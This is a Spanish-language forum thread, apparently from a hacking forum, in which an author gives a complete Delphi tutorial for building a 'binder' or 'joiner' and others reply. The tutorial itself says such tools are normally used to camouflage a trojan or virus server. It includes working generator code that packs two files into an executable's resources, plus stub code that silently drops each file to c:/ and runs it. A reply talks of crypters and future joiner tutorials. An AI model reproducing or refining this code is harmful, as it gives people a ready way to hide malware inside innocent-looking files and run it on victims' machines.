• [Delphi] Creacion de un Binder

 #423083  por Doddy
 29 Ago 2013, 01:20
[Titulo] : Creacion de un Binder
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del generador
0x03 : Creacion del stub
0x04 : Probando el Joiner

-- =================--------

0x01 : Introduccion

Bueno , voy a empezar este manual que hice sobre como crear un joiner en delphi , me costo mucho encontrar un codigo en delphi sobre un joiner basico que mi limitada comprensión
puediera entender, para hacer este manual me base en el codigo "Ex Binder v0.1" hecho por TM.

¿ Que es un Joiner ?

Un joiner es un programa para juntar dos o mas archivos en uno solo , normalmente se usa para camuflar el server de algun troyano o algun virus.

¿ Que es un stub ?

El stub es el que generara los archivos que juntamos en el joiner y estan "guardados" en este ejecutable.

0x02 : Creacion del generador

Para empezar creamos un proyecto normal de la siguiente forma : File->New->VCL Forms Application , como en la siguiente imagen.



Una vez creado , creamos dos cajas edit y un boton como en la imagen :



Entonces hacemos doble click en el boton creado para poner el siguiente codigo en el boton.
Código: [ Debe registrarse para ver este enlace ]
procedure TForm1.Button1Click(Sender: TObject);

var
  archivo1: string; // Declaramos la variable archivo1 como string
  archivo2: string; // Declaramos la variable archivo2 como string
  uno: DWORD; // Declaramos la variable uno como dword
  tam: DWORD; // Declaramos la variable tam como dword
  dos: DWORD; // Declaramos la variable dos como dword
  tres: DWORD; // Declaramos la variable tres como dword
  todo: Pointer; // Declaramos la variable todo como pointer

begin

  uno := BeginUpdateResource(PChar('tub.exe'), True); // Iniciamos la actualizacion del recurso en el archivo tub.exe

  archivo1 := UpperCase(ExtractFileName(Edit1.Text)); // Declaramos el archivo1 como el nombre del primer archivo

  dos := CreateFile(PChar(Edit1.Text), GENERIC_READ, FILE_SHARE_READ, nil,
    OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); // Cargamos el primer archivo
  tam := GetFileSize(dos, nil); // Capturamos el tamaño
  GetMem(todo, tam); // Capturamos la memoria
  ReadFile(dos, todo^, tam, tres, nil); // Capturamos el contenido
  CloseHandle(dos); // Cerramos el archivo
  UpdateResource(uno, RT_RCDATA, PChar(archivo1), MAKEWord(LANG_NEUTRAL,
      SUBLANG_NEUTRAL), todo, tam); // Actualizamos los recursos con los datos del archivo abierto

  archivo2 := UpperCase(ExtractFileName(Edit2.Text)); // Declaramos el archivo2 como el nombre del segundo archivo

  dos := CreateFile(PChar(Edit2.Text), GENERIC_READ, FILE_SHARE_READ, nil,
    OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  tam := GetFileSize(dos, nil); // Capturamos el tamaño
  GetMem(todo, tam); // Capturamos la memoria
  ReadFile(dos, todo^, tam, tres, nil); // Capturamos el contenido
  CloseHandle(dos); // Cerramos el archivo
  UpdateResource(uno, RT_RCDATA, PChar(archivo2), MAKEWord(LANG_NEUTRAL,
      SUBLANG_NEUTRAL), todo, tam); // Actualizamos los recursos con los datos del archivo abierto

  EndUpdateResource(uno, False); // Finalizamos la actualizacion del recurso

end;
Una imagen del codigo comentado.



0x03 : Creacion del stub

Ahora vamos a crear una Console Application de la siguiente forma : File->New->VCL Forms Application->Other->Console , como en la imagen :



Una vez hecho copiamos el siguiente codigo :
Código: [ Debe registrarse para ver este enlace ]
program stub;

uses Windows, ShellApi; // Cargamos los modulos necesarios

function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL;
  stdcall; // Empieza la funcion con los parametros
var
  data: DWORD; // Declaramos como DWORD la variable data
  uno: DWORD; // Declaramos como DWORD la variable uno
  dos: DWORD; // Declaramos como DWORD la variable dos

begin

  Result := True; // Retornamos true en la funcion

  data := FindResource(0, cinco, cuatro); // La variable data guarda la busqueda de recursos

  uno := CreateFile(PChar('c:/' + cinco), GENERIC_WRITE, FILE_SHARE_WRITE, nil,
    CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); // Creamos el archivo
  WriteFile(uno, LockResource(LoadResource(0, data))^, SizeOfResource(0, data),
    dos, nil); // Escribimos en el archivo creado

  CloseHandle(uno); // Cerramos

  ShellExecute(0, 'open', PChar('c:/' + cinco), nil, nil, SW_SHOWNORMAL);
  // Ejecutamos el archivo

end;

begin
  EnumResourceNames(0, RT_RCDATA, @start, 0);

  // Funcion para cargar los archivos del joiner
end.

Una imagen del codigo comentado.



0x04 : Probando el Joiner

Para el probar el joiner voy a usar dos archivos : una imagen del perro coraje y un archivo de texto que solo contiene un "hola mundo"

Primero cargamos el generador :



Pulsamos el boton y cargamos el tub.exe (el ejecutable del proyecto del stub) generado.



Eso es todo.

El manual esta disponible en PDF [ Debe registrarse para ver este enlace ].

--========--
The End ?
--========--
 #423470  por joselin
 01 Sep 2013, 00:50
muy bien explicado gracias por compartirlo ,
cuando termine un code que estoy haciendo lo pongo en practica
para ver com funciona.
 #423535  por Metal_Kingdom
 01 Sep 2013, 17:53
Gracias, aunque he de corregir algo que lleva a confusión.. es un Binder, no un Joiner (el binder sólo junta, el joiner además cifra y podría ser o no RunTime).

Ese binder es algo viejo y bueno, personalmente no lo recomiendo para iniciarse en cómo codear binders con delphi, ya que a pesar de ser sencillo, quizás no es lo suficiente como para comprenderlo completamente por los recién iniciados (aunque como medida anti-rip podría valer ;))

A ver si un día me animo con varias cosas y tutoriales de crypters/joiners, etc, pero no quisiera que este lenguaje acabase como el sobrevalorado VB6
 #423578  por Doddy
 02 Sep 2013, 01:58
gracias por el aviso entonces tendre que cambiar el nombre al joiner o binder que termine anoche xDD.